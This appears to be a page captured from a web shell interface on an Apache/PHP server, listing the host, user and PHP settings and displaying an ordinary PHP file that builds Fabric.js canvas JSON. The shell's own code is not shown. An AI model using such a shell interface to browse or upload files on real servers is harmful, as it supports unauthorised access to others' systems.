( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/includes/redesignArray.php
  <?php

if($check=="i-text")
  
{
    echo "dddddddddddddddddddddddddddd";
}

  if($check=="image")
  
  {
       
      
     // exit( $ratio);
      $json .= '  {
        "type": "image",
        "version": "3.6.6",
        "originX": "center",
        "originY": "center",
        "left": '.$row['left'].',
        "top": '.$row['top'].',
        "width": '.$row['width'].',
        "height": '.$row['height'].',
        "fill": "rgb(30, 139, 195)",
        "stroke": "#000",
        "strokeWidth": 0,
        "strokeDashArray": null,
        "strokeLineCap": "butt",
        "strokeDashOffset": 0,
        "strokeLineJoin": "miter",
        "strokeMiterLimit": 4,
        "scaleX":'.$row['scaleX'].',
        "scaleY": '.$row['scaleY'].',
            "angle": '.$row['angle'].',
        "flipX": false,
        "flipY": false,
        "opacity": 1,
        "shadow": null,
        "visible": true,
        "clipTo": null,
        "backgroundColor": null,
        "fillRule": "nonzero",
        "paintFirst": "fill",
        "globalCompositeOperation": "source-over",
        "transformMatrix": null,
        "skewX": 0,
        "skewY": 0,
        "crossOrigin": "anonymous",
        "cropX": 0,
        "cropY": 0,
        "selectable": true,
        "evented": true,
        "lockMovementX": true,
        "lockMovementY": true,
        "lockRotation": false,
        "lockScalingX": true,
        "lockScalingY": true,
        "lockUniScaling": false,
        "hasControls": true,
        "hasBorders": true,
        "hasRotatingPoint": true,
        "name": "image",
        "data": {
          "id": "'.$row['data']['id'].'"
        },
        "src": "'.$row['src'].'",
        "filters": []
      },';
  }
  

  
  if($check=="i-text")
  {  				
  
   echo "dddddddddddddddddddddddddddd";
    $fontJson .= '{"family": "'.$row['activeFont']['family'].'" , "category": "'.$row['activeFont']['category'].'" , "type": "'.$row['activeFont']['type'].'"  },';
  
                                $json .=' {
                                  "type": "i-text",
                                  "version": "3.6.6",
                                  "originX": "left",
                                  "originY": "top",
                                  "left": '.$row['left'].',
                                  "top": '.$row['top'].',
                                  "width": '.$row['width'].',
                                  "height": '.$row['height'].',
                                  "fill": "'.$row['fill'].'",
                                  "stroke": "#000",
                                  "strokeWidth": 0.1,
                                  "strokeDashArray": null,
                                  "strokeLineCap": "butt",
                                  "strokeDashOffset": 0,
                                  "strokeLineJoin": "miter",
                                  "strokeMiterLimit": 4,
                                  "scaleX": 1,
                                  "scaleY": 1,
                                  "angle": 0,
                                  "flipX": false,
                                  "flipY": false,
                                  "opacity": 1,
                                  "shadow": null,
                                  "visible": true,
                                  "clipTo": null,
                                  "backgroundColor": null,
                                  "fillRule": "nonzero",
                                  "paintFirst": "fill",
                                  "globalCompositeOperation": "source-over",
                                  "transformMatrix": null,
                                  "skewX": 0,
                                  "skewY": 0,
                                  "selectable": true,
                                  "evented": true,
                                  "lockMovementX": true,
                                  "lockMovementY": true,
                                  "lockRotation": false,
                                  "lockScalingX": false,
                                  "lockScalingY": false,
                                  "lockUniScaling": false,
                                  "hasControls": true,
                                  "hasBorders": true,
                                  "hasRotatingPoint": true,
                                  "name": "text",
                                  "data": {
                                    "id": "'.$row['data']['id'].'"
                                  },
                                  "activeFont": {
                                    "family": "'.$row['activeFont']['family'].'",
                                    "category": "'.$row['activeFont']['category'].'",
                                    "type": "'.$row['activeFont']['type'].'"
                                  },
                                  "text": "'.$row['text'].'",
                                  "fontSize": '.$row['fontSize'].',
                                  "fontWeight": '.$row['fontWeight'].',
                                  "fontFamily": "'.$row['fontFamily'].'",
                                  "fontStyle": "normal",
                                  "lineHeight":1.1,
                                  "underline": false,
                                  "overline": false,
                                  "linethrough": false,
                                  "textAlign": "initial",
                                  "textBackgroundColor": "",
                                  "charSpacing": 0,
                                  "styles": {}
                                },';
                              
  }
  
  
  
  
  
   
  
  ?>